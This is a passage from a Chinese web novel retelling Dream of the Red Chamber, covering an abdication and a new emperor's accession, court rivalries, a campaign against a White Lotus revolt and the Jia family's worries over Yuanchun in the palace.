很快,几个阁臣一商量,就草拟出了一份诏书出来“自古帝王继天立极、抚御寰区,必建立元储、懋隆国本,以绵宗社无疆之休。朕缵膺鸿绪、夙夜兢兢。仰惟祖宗谟烈昭垂,付托至重。须知以贤而立,则王季兴周;以贵而升,则明帝定汉。详诸方册,岂不然乎?皇四子徒宏晟,地居茂亲,才惟明哲,至性仁孝,淑质惠和。好礼无倦,强学不怠。今承华虚位,率土系心,畴咨文武,咸所推戴。古人云‘知子莫若父,知臣莫若君。’朕谓此子,实允众望。可以则天作贰,可以守器承祧,永固百世,以贞万国。宜立为皇太子,正位东宫、以重万年之统、以系四海之心。” 圣上听着,觉得没什么问题,便又抬了抬手,一边戴权忙说道“皇爷,可要钦天监择吉日,正式行册封之礼?” 圣上犹豫了一下,戴权见状,忙一巴掌扇了自己一个耳光“老奴糊涂,皇爷如今身体不便,那不如先传诏四方,晓谕全国?” 圣上这才又抬了抬手,雍王又在一边叩首,哭道“父皇对儿臣寄予厚望,儿臣愚钝,惟愿父皇千秋万岁,好为儿臣指引前路!” 圣上吃力地将手放在雍王身上,拍了拍,又咕哝了几句,戴权忙问道“皇 爷可是叫太子监国?”他连王爷都不叫了,直接叫了太子。 圣上又是抬抬手,雍王愈发露出了茫然之色,就看到圣上又指了指几个阁臣,几位阁臣对视了一眼,同样跪地说道“臣等定当辅佐太子,夙兴夜寐,不敢怠慢!” 说着,当着圣上的面,又对着雍王行了大礼,意思就是承认了他这个储君。 消息传出去,简直是天下大哗。 徒嘉珩和徒嘉钰还在弘文馆,听到这个消息,徒嘉钰吃惊地看向了徒嘉珩“王伯是太子了?那堂兄你以后岂不是……” 徒嘉珩也有些手足无措,但是心里难免也生出一些野望来,嘴上却是说道“我也不知道啊,总归以后咱们还是兄弟便是了!” 雍王府一片欢天喜地,纯王府就是凄风冷雨了,徒宏憬回去之后,就是又打又砸,几个伺候的人都吃了排头,原本他身边极有体面的一个丫头,直接被一个窝心脚踢得断了两根肋骨,还呕出半升血来,眼看着就不好了! 有人去找纯王妃,纯王妃却是半点不放在心上,她觉得,纯王不做皇帝反而是好事,这人是个得志就猖狂的,原本就不将自己娘家放在眼里,真要是叫他成了事,用得上镇国公府的时候还好,用不上的时候,还不知道要如何对待呢!当年陈阿娇好歹还做过好几年的皇后,之后也算得了善终。但是这纯王不见得有汉武那样的才干气魄,但是论起小心眼来,只怕犹有过之。他做一个闲散王爷,那是无事,叫他当了皇帝,那还不知道是个什么光景呢! 这般一想,纯王妃反而放下心来,对下头人安慰道“王爷不过是为了圣上心急罢了,不必多想。我作为王妃,也不能拖了王爷后腿,这便斋戒茹素,抄经念佛,为圣上祈福!”说着,竟真是往她之前设的佛堂去了! 镇国公府如今也是松了口气,麻蛋,当初结亲的时候,压根没想到,徒宏憬是那么个玩意!如今好了,权当赔了个女儿吧!自家以后肯定不能再瞎掺和了! 镇国公府算是脱身来,这下轮到贾家抓瞎了!他们家人都送进宫去了,冲的就是太子侧妃,乃至未来皇妃的位置去的,一个亲王侧妃,对他们这样的人家来说,哪有半点吸引力! 王氏头一个哭出来“我可怜的元儿!” 贾史氏倒还是镇定“哭什么,咱们家元春就是送进宫做女官的,谁说就是给纯王准备的了!如今不还没分派到各处去嘛,我老婆子去想个办法,卖个老脸,将元丫头掉到别处去,再差,也不过就是熬到二十岁放出来!若是运气好……我记得雍王府里面后院这几年也没进新人?” 王氏眼睛一亮,她就是典型的,不管谁是市长,反正她要做市长夫人的那种。不管谁当皇帝,她的元春得当皇妃!没了纯王,不还有个雍王嘛!自家元春生得好,福气好,谁看到了不动心呢?她甚至觉得,这事也是元春的福气,要不是圣上突然中了风,再拖个半个月,元春也被送到含章宫了,如今这么一来,反倒是给了贾家操作的余地。 实际上,甄贵妃这会儿也顾不得元春了,她想要求见圣上,却连圣上的面都没见到,在自个宫里急得团团转,不知道该怎么做才好。 就在甄贵妃都想要找人刺杀雍王,不,是太子的时候,圣上又下了旨意,这回不是册立太子了,而是一封禅位诏书。 作者有话要说 第 155 章 贾元春在宫里惶恐... 圣上也是没办法,他再看重权柄,也得先养好身体再说! 想看微云烟波的《红楼太妃要躺平》吗?请记住[笔趣阁。小说]的域名[(. 雍王做了太子,一时间也没法搬进东宫,毕竟,从义忠亲王当年一把火烧了东宫之后,圣上怕触景生情,便没有下令修缮东宫,东宫至今依旧是一副断壁残垣的模样。 因此,太子只得依旧住在王府,因为国事繁忙,毕竟南边白莲教的事情还没有搞定,他大多数时间都耗在了内阁,还得跑到大明宫跟圣上讨主意。 这种情况下,圣上哪里还能安心休养!他叫太子自个拿主意,人家也不敢拿啊!当初义忠亲王倒是有主意,您不是容不下嘛!总之,不论大事小事,太子都要先请圣上示下。 圣上一面觉得安心,一面又难以安心将养,瞧着太子孝顺,便起了传位之心。 圣上身体不好,因此这禅位之事操办得便有些简陋,但大礼之后,太子便正式登基,做了新君。 今上怕耽误了太上皇休养,因此仍请太上皇住在大明宫,自己住进了大明宫一侧的兴庆宫中,陆续将自己的妻妾也都接了进来,各有册封。又在后宫收拾出了寿康、宁康二宫出来,将太上皇的一众嫔妃给挪了过去。 因着太上皇没有皇后,今上生母养母都已经薨了,只追封了生母做太上皇后,养母为贵太妃。至于原本太上皇的诸多妃嫔,也跟着抬了一级,往名号里头添了个太字。 瑜太妃也就罢了,她瞧着自己的仇人未能如愿,只高兴还来不及,而且,她搬到寿康宫,寿康宫便是以她为首,也就是住得比以前略逼仄了些,别的一应供给并不差。反倒是甄贵太妃,很是难熬,她原本是冲着皇后太后的位置奔的,如今就一个贵太妃的名位,宁康宫比起寿康宫还小一些,里头塞的人也多,贵太妃再想着自家丢了太子之位,新君都立了,极为失落,只恨太上皇绝情失信,明明说好了传位给自己儿子,结果竟是选了雍王。 她越想越觉得憋屈,在宁康宫中各种发泄! 今上只是不理,毕竟,他便是不喜欢甄贵妃母子,可是太上皇还在,他便宜都占了,干什么不对失败者宽容一些呢? 何况,今上如今也是焦头烂额,白莲教还在肆虐,必须得赶紧镇压下去,要不然,江南的钱赋都没法解交上来,时间长了,局势可就真要糜烂了。 只是今上手里无人,总不能随便弄个人下去平乱,万一没成,打击的就是朝廷的威信。 思来想去,今上觉得还是得靠勋贵。只是他跟勋贵不熟,找谁也是个问题。 凤仪宫中,原来的雍王妃,现在的皇后也在心烦,王爷做了皇帝,却没说要立自家儿子做太子,这难免叫皇后心烦。毕竟,徒嘉珩作为元后嫡出,若是不能当太子,又该如何自处呢? 正发愁的时候,外头净鞭响了三声“圣上驾到!” 皇后赶紧收拾了一下神情,露出一个笑来,起身迎了出去,就要蹲身行礼“臣妾给皇爷请安!” 今上连忙将皇后扶起“你我之间,何必如此!” 皇后也没有坚持,她需要保持好一个度,跟皇帝不能太生疏,也不能太不见外,她如今还在磨合阶段,毕竟,她原本想破了天,也没想到这个馅饼掉到自家头上啊! 皇后看了一下今上神情,见他有些愁色,想到自家原本也是临危受命,便有些猜测,嘴里说道“皇爷来得正好,臣妾瞧着皇爷近来心火炽盛,叫御膳房那边做了冬瓜盅,还凉拌了个苦瓜,皇爷略吃两口,也算是消消火!” 今上叹道“朕这心火 ,哪里是吃点东西才消得下去的,若是吃东西能行,便是黄连,朕也生吞了!可如今,朕坐在这个位置上,那是如坐针毡啊!” 皇后忙说道“皇爷若是心烦,不如跟臣妾说一说,臣妾虽说驽钝,但也能为皇爷排遣排遣!” 今上想了想,还是说了自己的苦恼之处“如今白莲教生乱,必须要在短时间内镇压下去,要不然,江南那边只怕也要跟着生乱!只是,朕如今却是找不到合适的人来带兵!” 皇后犹豫了一下,说道“皇爷,臣妾对于勋贵也是不了解,便是原本隔壁七弟妹,他们家说是勋贵,实际上当年也不是领兵的,倒是十三叔那边,瑜太妃出身皇爷也是知道的,十三叔与西宁郡王府还有其他几家都有些关系,不如问一问十三叔?” 今上听得眼睛一亮,他登基之后,还没来得及施恩兄弟和宗室,如今倒是可以先把徒宏轩拉出来做个表率。 他笑道“皇后果然是朕的贤内助,倒是给朕出了个好主意!” 皇后忙说道“臣妾一个妇道人家,哪里知道这些!” 今上有了主意,原本想要立刻召见顺王,但是还是先留在皇后这里吃了饭,这才又往前头去了。 从徒宏憬倒霉开始,徒宏轩就一直很开心。 他身体不好,因此,许多时候歇在后院,其实多半也是纯盖棉被睡大觉,乐安县主虽说性子有些娇蛮,实际上并不是什么难缠的人。相反,她是个颜控,徒宏轩虽说如今身体不好,但是生得却颇为俊秀,如今身上还有一种病弱的美感,这无疑是触动了乐安县主审美的。 徒宏轩三五|不时就在府里头听戏,便干脆养了个乾班,还选了几个长相清俊又会伺候人的,放在前头伺候自己。又怕冷落了自己王妃,因此,便又采买了个现成的坤班,放在后院给乐安县主解闷,担心坤班几个角儿年纪大了,以后青黄不接,还又专门去南边采买了一批小戏子回来,先跟着班子的教习学着。 徒宏轩还跟之前一样,喜欢点一些戏内涵一下隔壁的徒宏憬,甚至叫人偷偷打听隔壁府里的情况,好看徒宏憬的乐子,乐安县主也是个唯恐天下不乱的,别说如今徒宏憬已经成了一条落水狗,便是没有,她也没有怕的。因此,也跟着凑热闹。 乐安县主有了乐子,徒宏轩身边也没有什么侧妃侍妾,便是养了几个戏子,对于乐安县主来说也算不得什么,因此,小夫妻两个在王府里头倒也过得和和美美。 今上叫人过来请徒宏轩的时候,夫妻两个就坐在亭子里头,听戏台子上唱着一折《火烧赤壁》,徒宏轩听了一会儿,皱皱眉,说道“曹操好歹也是一代枭雄,那位又算什么,换一折!” 乐安县主想了想,忽然笑道“要不,换《白门楼》?” 听着乐安县主这般促狭,徒宏轩故作勉强地点了点头“吕布虽说是个反复无常的小人,但也算得上是英雄豪杰,罢了,便抬举他一次吧!” 乐安县主轻笑道“我看王爷更想要看《卧龙吊孝》吧!” “知我者,县主也!”徒宏轩笑嘻嘻说道,“真若是有那么一天,我还是会上门吊唁一下的!” 夫妻两个这边打趣,那边徒宏轩身边的太监吴德贵小跑着过来“王爷,娘娘,宫里来人了,说是皇爷请王爷进宫!” 徒宏轩一愣“圣上叫我做什么?” 乐安县主笑嘻嘻说道“反正不会是坏事,王爷尽管过去吧,晚上我等王爷回来!” 徒宏轩听了,便 站起身来“好,县主且在家里听戏,为夫去去便回!”说着,还唱了句戏腔,只逗得乐安县主又笑了一场。 等着徒宏轩换了衣服出了门,乐安县主连忙吩咐道“不要再唱了,换一折《大闹天宫》!”她便是喜欢热闹的戈阳腔,但对三国戏却没什么兴趣,所以,趁着徒宏轩不在,她决定还是依着自己的性子来。 隔壁徒宏憬听得这边略停了一会儿,又锣鼓喧天起来,恨不得要呕出血来!这都什么倒霉邻居,倒霉兄弟,就知道看自己的笑话!人家夫妻倒是同心,结果呢,自个哪里是娶了个王妃,竟是娶了个菩萨回来,整日里坐在佛堂里头吃斋念佛,浑然没有半点心肝。 徒宏憬这般抱怨,却没想到他自个先不拿别人当正经妻子看的,却指望别人在这个时候来安慰他甚至是帮助他,天底下哪有这样的好事。 徒宏轩一脸春风得意地进了宫,圣上早就等着了,一进来不等他行礼,就叫人赐座,夏守忠不仅搬了张椅子过来,连着茶水点心也一块送了过来。 无事不登三宝殿,徒宏轩一瞧这架势,就知道圣上只怕找自己有事,他也不着急,老老实实在椅子上坐了下来,这才说道“皇兄今日唤臣弟过来,可是有事吩咐?” 圣上也没开门见山,而是笑道“你我兄弟,难道没事就不能找你了!” 徒宏轩忙说道“哪能呢,只是皇兄日理万机,不像是臣弟,就是个闲人,每日里在家瞎折腾罢了!” 圣上叹道“王弟说的是,朕都有些羡慕了!朕原本也就是个闲散的性子,如今父皇看重,将大位传给了朕,朕是战战兢兢,如履薄冰啊!” 徒宏轩恭维道“皇兄素来恪尽职守,又勤勉过人,难怪父皇看重皇兄!” 圣上看着徒宏轩,说道“原本这么多兄弟里头,朕是最看重你的,当年,几个兄弟里头,你也是最出挑的一个,只是之前那事,委实可惜了!” 徒宏轩也不搭茬,笑嘻嘻说道“那会儿是臣弟不懂事,瞎胡闹呢!” 圣上斥道“什么瞎胡闹,谁是谁非,朕难道还不知道!你也是受了委屈,朕这个做哥哥的,自然不能叫你一直委屈下去!” 徒宏轩顿时眼睛一亮,他虽说身体不好,但是也不是真的只想混吃等死啊,当下忙起身说道“皇兄但有所命,臣弟莫敢不从!” 圣上笑道“不必如此,十三弟你先坐下,咱们慢慢说!” 预先取之,必先予之。圣上知道,想要徒宏轩给他出力,就得给点实在的好处,因此,叙了一番不知道到底有没有存在过的旧情之后,又是许诺过几年求了太上皇,让瑜太妃出宫,由徒宏轩奉养,又是表示,只要徒宏轩有功,就给他双亲王俸云云。 徒宏轩其实就是想要报复,报复内务府那些家族,报复甄家和甄家背后的那些人,甚至,他还想报复太上皇,只是当着圣上的面,他啥也没说,只是想知道,圣上究竟想要让他做什么。 眼看着时间不早,圣上便又留徒宏轩一起用膳,吃饭的时候,才将自己的想法提了。 徒宏轩一听,便说道“皇兄是知道臣弟的,臣弟就是个万事不管的,此事,臣弟回去还是得问问才行!” 圣上也知道徒宏轩不可能一开始就给出合适的人选,也不着急,只是笑道“那就劳烦十三弟你跑个腿,朕这里就等十三弟的好消息了!” 徒宏轩自然是答应了下来。 西宁郡王府如今在平安州那边其实也有些尴尬,这 几年因为羊毛生意的缘故,别说是漠南各部了,便是漠北各部也不敢得罪中原了,都指望着中原这边买他们的羊毛呢!他们如今几乎不养山羊了,山羊毛短且粗,卖不上价!漠北那边还有几个原本在西域那边放牧的部族更是不知道从哪儿弄到了新的绵羊品种,毛更细更长,而且拿铁梳子一梳,连羊绒都能多梳出一成。 想看微云烟波的《红楼太妃要躺平》吗?请记住[笔?趣阁小说]的域名[(. 可以说,只要羊毛生意不断,中原这边也能一直保持强势的话,北边以后那是真的就太平了!如此,西宁郡王府一直占着这里的好处,时间长了,难免要引起众怒。因此,西宁郡王府商议了一番之后,已经决定,最多再有个三五年时间,他们家就没法再把着平安州的大部分利益了,这里的事情,最终还是得皇帝的心腹来主持,他们家最多如同其他勋贵一样分润一点利益罢了!只是到时候西宁郡王府该何去何从,他们还没下定决心。 既然如今有了别的转圜的机会,西宁郡王府自然是要抓住的。因此,没两天,从平安州连夜赶回来的西宁郡王世子金铭就在朝堂上立下了军令状,表示三个月定当平定白莲教之乱。 对于常年跟草原上的蛮子打交道的西宁郡王府来说,白莲教算个屁啊!就是一帮乌合之众。若是王朝末年也就算了,这等民乱,从来都是按起葫芦浮起瓢。如今嘛,这场教乱本来就出现得蹊跷,白莲教当初可是被反复绞杀了好几次,都多少年了,突然死灰复燃,里面没猫腻才怪! 换做是其他人家,很多本身就是出身江南,到时候可能还会束手束脚,西宁郡王府原本就是出身西北,跟这些人素来是没什么往来的,正好可以去南边清理一番。 圣上见西宁郡王府居然肯出这个头,虽说只是世子请|命,但金铭作为世子,他身边自然有得力的人辅佐,西宁郡王也不会叫自个儿子留下什么污点,因此,既然他们说了是三个月,那应该不会有什么问题。此事成了,那是圣上有识人之明,用人有道,便是不成,也有西宁郡王背锅! 圣上也不含糊,当下册封金铭为荡寇将军,即刻领兵南下平叛。 朝堂上这些人其实一直都在观察圣上这个新君的做派,毕竟,圣上还是皇子的时候,做的都是一些辅助类的事情,并没有真正独当一面过,突然被拱上皇位,又正值多事之秋,许多人都觉得圣上多半要乱了章法。如今看起来,圣上竟是将局势稳住了。别以为臣子就会天然效忠皇帝,他们更看重的其实是自己的利益。有那等权势之心极重的,恨不得将皇帝当做傀儡摆设,自己全权做主,还美其名曰君上垂拱而治。也有一些人,是真心觉得,一个有为的皇帝,总比一个无能的皇帝强。 如今圣上显然是有为之君,竟是不声不响,拉上了西宁郡王府给自己站台,一些人失望,一些人不免就放下心来。 虽说圣上已经下了旨,但是下朝之后,圣上还是先跑了大明宫一趟,叫太上皇知道此事。 太上皇这会儿还是说不出话来,精神也颇为不济,不过听得西宁郡王府主动请缨,太上皇也放下心来。如今老将凋零,能上战场的人也不多了,圣上以往与诸多老牌勋贵也无交情,亏得他能将西宁郡王说动。 太上皇也是聪明人,知道这里头定然有人代为转圜,多半便是徒宏轩。既是自己这个四儿子能放得下身段找下面的弟弟帮忙,太上皇一时半会儿也安下心来。 说是即刻领兵南下,实际上根本不可能这么快!这年头又不比后世,基层组织能力强得夸张。光是调集兵马粮草,都得花费不少时间。 圣上 如今只求赶紧平叛15(
饶是如此,大军出发的时候,也已经差不多是十天后了。 在太庙举行了誓师典礼,圣上还亲自将大军送到城门外,态度很是殷切,又跟金铭摆出了一副君臣和谐的模样。要不是时间不合适,他甚至想要直接许诺,只要此战能胜,他让金铭的长子做驸马! 有实力有能耐的人,自然也很容易出头。而明明没那个能耐,却硬要出头的人,就需要付出更大的代价。 为了不把自家精心培养出来的女儿落到甄家和徒宏憬这个坑里,贾史氏没敢去找甄贵太妃,生怕这位一个不爽,摆出同归于尽的架势。她费了不少心思,花费了大把的银子,连私房里的几件珍玩也拿了出来,总算是走通了内务府的门路,将刚刚完成培训的贾元春调到了养性斋做女史。 也是甄贵太妃如今自顾不暇,已经把之前的事情给忘得差不多了,要不然的话,她只怕宁愿冒着被贾家恨上的风险,也要把贾元春扒拉到自个身边,到时候有这么一个人质在,抄家灭族的事情贾家不敢干,一些小事,贾史氏那边是不敢推脱的! 贾元春在宫里一开始也是惶惶然,毕竟,明明说好了进去就是走个过场,在宫里待个几个月,回头就会进纯王府的,结果一夜之间,风向就变了。圣上变成了老圣人,新君却不是纯王!纯王之前跳得那么厉害,老圣人在的时候或许没什么,等老圣人不在了呢?新君会不会秋后算账?那么,嫁给纯王就不再是什么青云路,而是鬼门关了! 贾元春在宫里惶恐不安,差点就撑不下去了!等到听说自己被分派到了养性斋的时候,贾元春差点当时就喜极而泣,知道自己算是得救了。 养性斋是宫里一处藏书的地方,宫中藏书的地方很多,其中如文渊阁这种文字打头的地方,都不在后宫范围内,而是在前朝,后宫藏书之处却是什么摛藻堂、绛雪轩、静怡轩之类的名号。养性斋算是比较偏僻的一个,贾史氏选了这里,也是怕贾元春被贵太妃惦记上。这位虽说如今大不如前,但是太上皇还在,谁知道她还能不能翻身呢?到时候随便在太上皇那里吹一吹枕边风,贾元春一个小小的女史又能如何?总得将这阵子混过去了,才有机会图谋之后。 贾元春也想不到这么多,横竖抱琴已经被分派到她身边了,她顿时觉得在宫里安心了许多。她不过是个十四岁的女孩子,便是有些心机,又能如何?宫里如今这个情况,她也只能缩着脖子,先保全自身。 好在贾史氏叫她带进去不少小额的银票,她手里宽松,又肯花钱,除了一开始宫中气氛不佳,她不敢露头之外,之后,在养性斋却是如鱼得水起来。 作者有话要说 微云烟波向你推荐他的其他作品 第 156 章 太上皇那里如今还... 荣国府那边,如今谁也不敢提大姑娘三个字,尤其在王氏那里,一提到元春的名字,她就几乎要崩溃地大哭起来。 贾珠对此很是无可奈何,他运气好,今年又南下了一次,考中了秀才,回来的时候白莲教还没有作乱,并未受到任何波及,太太平平回来了。 他虽说只考中了增生,连廪生也不是,但已经具备了参加乡试的资格。只是他回来的时候,贾宝玉刚抓周抓了胭脂盒,将二房变成了笑话,贾政正心烦呢,自然也没有为了他考中秀才的事情大举庆贺,也就是家里头私底下吃了一次席。 贾珠倒也没有为此觉得不平,只是心疼自家妹妹。 他原本就知道,家里有叫妹妹进宫搏一搏富贵的心思,他对此其实是不愿意的。一入宫门深似海,妹妹便是再蕙质兰心又能如何?他也不想叫别人觉得自己是靠着裙带关系上位,因此,只盼着自己能科举顺利,好告诉父母,自己不用妹妹牺牲,可以自己挣出一个前程来。尤其去年听说大选取消之后,贾珠更是欢欣雀跃,毕竟,下一次大选还不定什么时候,到时候妹妹就超龄了,家里头自然也该绝了这个念头。 哪知道,他前脚刚南下金陵,后脚家里就给元春参选女官,等他回来的时候,元春都已经被选上了。 贾珠只气得两眼发黑,他原本考完之后,还专门去扬州拜会了姑父姑母,姑父考教了他的学问之后,还给了他一封荐书。贾珠这个成绩进不了国子监,但是神京这边的东山书院却是能进的。 东山书院的副山长是林如海的好友,只要看了他这封荐书,定然不会拒绝贾珠。 贾珠原本以为这是个好消息,等回来听说元春的事情之后,顿时就有些颓丧起来,他有一种自己的全部努力都是白费的感觉。 紧接着又是皇权更替,自家妹妹简直是在踩钢丝。贾珠不知道家里到底是个什么打算,他只盼着自家妹妹能安安稳稳在宫里面待着,熬到二十岁放出来,寻个差不多的人家嫁了,不用再提心吊胆。 贾珠又被激起了斗志,跟贾政和王氏说了东山书院的事情,王氏有些舍不得,毕竟,东山书院虽说也在京城,却是在城外,放在后世,从市中心到郊区通勤时间都比较长,何况是现在。因此,贾珠想要去东山书院读书,最好的办法其实是直接住到书院里头去。而书院里的规矩,又是不许带什么书童小厮的,贾珠从小娇生惯养,便是回金陵考试,考前下头人也早就将一切都打点妥当了,他进去之后,只需要将羊毛毡子一钉,再铺一条毡毯,就可以直接开考。秀才试不必乡试会试,纪律严格,饿了渴了,可以自己带食物,也可以直接掏钱问考场上的小吏买,便是味道一般,起码新鲜还是热食。 但是到了书院之后,可就不一样了,王氏很怀疑贾珠的自理能力。 贾珠却是说服了她,毕竟,他迟早也是要回金陵参加乡试的,如今在书院里面将该学的学起来,总比到时候进了考场手忙脚乱来得好。 至于贾政,才不管这么多。在他看来,贾宝玉那小子根本靠不住,小号还不如贾珠这个大号呢!因此,又是一番疾言厉色,将贾珠从里到外讥讽了一番,只说得他面如土色,最后头重脚轻地离开了贾政的书房,等着回头收拾一下东西,直接去东山书院读书。 贾瑚也听说了贾珠要去读书的事情,私底下也鼓励了贾珠一番,两人并没什么直接的竞争关系,虽说父母一辈不算和睦,但是他们堂兄弟之间却还算亲密。贾瑚对东山书院所知不多,不过既然 都要住宿,许多规矩估计跟国子监差不多,因此,便跟贾珠说了国子监里头住宿的一些事情,又列了一张单子出来,里头都是可能用得上的生活用品,叫贾珠去书院的事后带上。 贾珠拿了单子,对照自己准备的那些,果然有些不足,又诚心谢了贾瑚一回,然后又说到元春之事,叹道“大妹妹如今进了宫,也不知道怎么样了!( 贾瑚也知道祖母和二叔二婶的打算,心中难免有些鄙夷,如今瞧见贾珠这般忧心,不免劝道“大妹妹素日是个聪明灵慧的,自然知道在宫里如何自保!等过两年,说不定宫里又有恩典,肯再放出一批人来,到时候咱们看看,能不能找个理由,将大妹妹也接出来,并不耽误什么!”

贾珠摇摇头,叹道“希望如此吧!”他如今不过一个秀才,在家里半点话语权都没有,再过几年,便是他运道好,考中了举人,也未必撼动得了父母的心意,只盼着他们歇了攀龙附凤的心,好叫元春不再过那等提心吊胆的日子。

贾瑚见贾珠悲观,也是无可奈何。之前他也听贾赦说过此事,叫贾赦的意思,那就是贾政两口子简直是失心疯了,光想着好处,却不想想看,此事便是成了,自古以来,外戚之家,又有几个真正得了什么好的。

只是为尊者讳,这些话,贾瑚不好再贾珠面前讲,只得又安慰几句,这才跟贾珠道别。

贾瑚其实如今烦心事也多,都知道他给徒嘉钰做过伴读,徒嘉钰又一向与如今的皇长子徒嘉珩交好,皇后就这么一个儿子,这是正经的嫡长子,只怕过几年就要册立太子的,一个个都觉得贾瑚也算是皇长子一党,不免有许多人显露出趋奉之意。

但是贾瑚哪里敢站这个队,又不好多解释什么,毕竟这事传出去,圣上一想,我儿子看中你,那是你的荣幸,轮得到你来嫌弃了?因此,贾瑚如今只得各种含糊,表示自己不过是个小小伴读,哪里就攀附得上皇长子了,其他人哪里肯信,只闹得焦头烂额。

贾瑚回来找贾赦求救,贾赦也没这个经验,只能叫贾瑚躲着点,等风头过去也就好了。

贾瑚为了这事,愁的都不想去国子监读书了,只是国子监管的严,没个合适的理由,却是不好告假,只能硬着头皮过去,尽可能躲着人便是。

贾瑚这边焦头烂额,徒嘉钰倒是没什么想法。

他本来就跟徒嘉珩交好,与另外几个皇子的关系就远了一层,如今再硬要分出亲疏来,就未免显得太过刻意。

何况,徒嘉珩做了皇长子,其实心里头也是有些战战兢兢。

他自知自己资质寻常,做个亲王世子,那是半点问题也没有,但更进一步,就有些不足。他没什么野心,也没太多心眼,如今自己都觉得惶惑,自家父皇看到这样的自己,只会更加失望吧!

徒嘉钰可以说是跟徒嘉珩一起长大的,两人一起读书,待在一起的时间比跟徒嘉泽和末儿还要多,加上两家大人本身也走得近,他们两人说是堂兄弟,其实跟亲兄弟没什么区别。如今徒嘉珩茫然无措,徒嘉钰自然不能眼睁睁看着,在弘文馆里,依旧一直跟他亲近。

皇后将一切都看在眼里,自从丈夫做了皇帝之后,原本还算安分的一帮人如今也不安分了。

雍王府里原本那位周侧妃,早就被圣上厌恶,只因原本还生了一个三姑娘,进宫之后不过就是得了个贵人的位份。但是除了周侧妃之外,府里还有个吴侧妃,这位倒是出身良家,父亲是个低级小官,母亲娘家是商户,因此,家里很讲实惠,觉

得女儿长得好看√(笔趣阁.の., 不能随便嫁个小官什么的,得往上送。然后就通过雍王一个乳母的路子,给送到雍王府了!

这位也是争气,进门没多久就有了身孕,生的是如今的皇三子徒嘉茂。徒嘉茂比起徒嘉珩来说,是个机灵的,素来也挺得圣上喜欢,母以子贵,这位先做了侧妃,如今进宫就是贤妃。

圣上的子女数量不如太上皇,如今活着的也就是四子三女,皇次子徒嘉茁是个小透明,他小时候受过一次惊吓,之后就落下个说话结巴的毛病,因此之后能不开口就不开口,他生母刘氏如今也就是被封了个嫔。

皇四子徒嘉蕴如今年纪还小,虚岁也才四岁,看不出贤愚,生母潘氏也就是封了嫔罢了。

如今贤妃就跳得挺欢,觉得自家儿子资质出众,她倒是没想着先给儿子争什么储君的位置,而是想要求了圣上给儿子改名。

各家宗室都有规矩,从来嫡庶分明,像是这一代,嫡子都是从玉字,庶子嘛,平王府是从水,雍王府就是从草,如今雍王是圣上了,庶子也是皇子,总不能还从草,跟徒嘉珩区分得太明显吧!因此,贤妃就闹着想要给儿子同样换个玉字旁的字。

圣上虽说没答应,毕竟孩子都十一二岁了,改名也没这个必要,但是之后却赏赐了徒嘉茂一套书。

这无疑给了不少人一个暗示,那就是圣上其实更喜欢徒嘉茂。

贤妃因此在宫中气焰颇盛,皇后如今也是无奈,她如今都是皇后了,但是娘家还没有平|反,因为太上皇还在,不能推翻太上皇当年的决定,只能是先赦免了皇后的父兄,连个爵位都没给封,她自个底气也是不足,无非就是仗着少年夫妻的情谊罢了!

只是皇帝这种生物,你跟他讲情谊?

皇后如今能做的,无非就是谨守本分,最重要的是,不能出错。

这让皇后身心俱疲,她在圣上那里要做一个贤内助,在儿子那里要做一个慈母,但她自己,实际上心里也没底。她娘家人身上也没官职诰命,不好召进宫来,想要找个人说几句体己话,都是不能,只能暗中叹气。

孙嬷嬷心疼她,琢磨了一下,便说道“平王太妃素来与娘娘亲近,娘娘为何不召平王太妃进宫说说话?”

皇后犹豫一下,说道“他们母子孤儿寡母的也不容易,何苦将他们也拖到这泥塘里头来!”

孙嬷嬷叹道“我的娘娘,您这怎么就是泥塘了?弘文馆里头,小王爷跟咱们殿下好着呢,可见他们是不在意这个的!您这边反倒是跟人家生分了,岂不是伤了人家的心!”

皇后想了想,叹道“说的也是!好在不管怎么说,也牵连不到他们母子头上!”

顾晓得了话,却也干脆“之前皇嫂一直忙碌,我却是不方便过去添乱,如今皇嫂闲下来了,只要她不嫌我烦,我自然乐意过去陪皇嫂说说话的!”

送走了宫里来人,一边春香与有荣焉地说道“皇后娘娘还记得咱们娘娘的情谊呢!”

顾晓说道“皇后娘娘自然是念旧情的!”只是这个旧情能念多久,就说不定了!

顾晓从不将希望寄托在情谊上头,不管在什么时代,总归还是利益最重要!

不管是目前,甚至是以后相当长一段时间,顾晓觉得都能跟皇后保持一致的利益。顾晓不想后面子子孙孙都被困在神京,即便之后落魄了,也无路可走。甚至,顾晓琢磨着再有个百八十年,说不定帝制都要结束了,他们这些宗室,只怕到时候落魄凤凰不如鸡,许多时候还不如寻常百

姓。

而皇后其实也差不多,自古以来,嫡长子能顺利继位的,那真的是寥寥无几。尤其,徒嘉珩各方面都不出挑,若是换做是太平盛世,说不定还有希望,可顾晓琢磨着,以后相当长一段时间,只怕都不会很太平。如此,徒嘉珩想要顺利做太子,做皇帝,可能性微乎其微。

但是一个做不了太子,做不了皇帝的嫡长子,日后又该如何自处呢?顾晓琢磨着,真到了那个时候,还不如也一块出海!圣上到时候自然要心疼这个儿子的退让,肯定得帮着出出力,自家跟在后面也能沾点光。

虽说心里存了这样的心思,但是顾晓也不至于如今就跑到皇后面前敲边鼓,毕竟,徒嘉珩还小,如今太上皇还在养病,等太上皇好了,到时候双日高悬,还不知道会是什么光景呢!

因着只是皇后私人召见,顾晓自然也没穿得太正式。及到了宫门口,便有人抬着肩舆在门口等候,顾晓略推脱了一下,便也坐了,春香在一边伺候着,一路往凤仪宫而去。

太上皇自从元后过世之后,就再也没有立过皇后,以至于凤仪宫常年封存,等到今上登基,才收拾了出来。好在这些年来,凤仪宫也没短了修缮,如今又重新换了铺宫摆设,看起来倒像是簇新的一般。

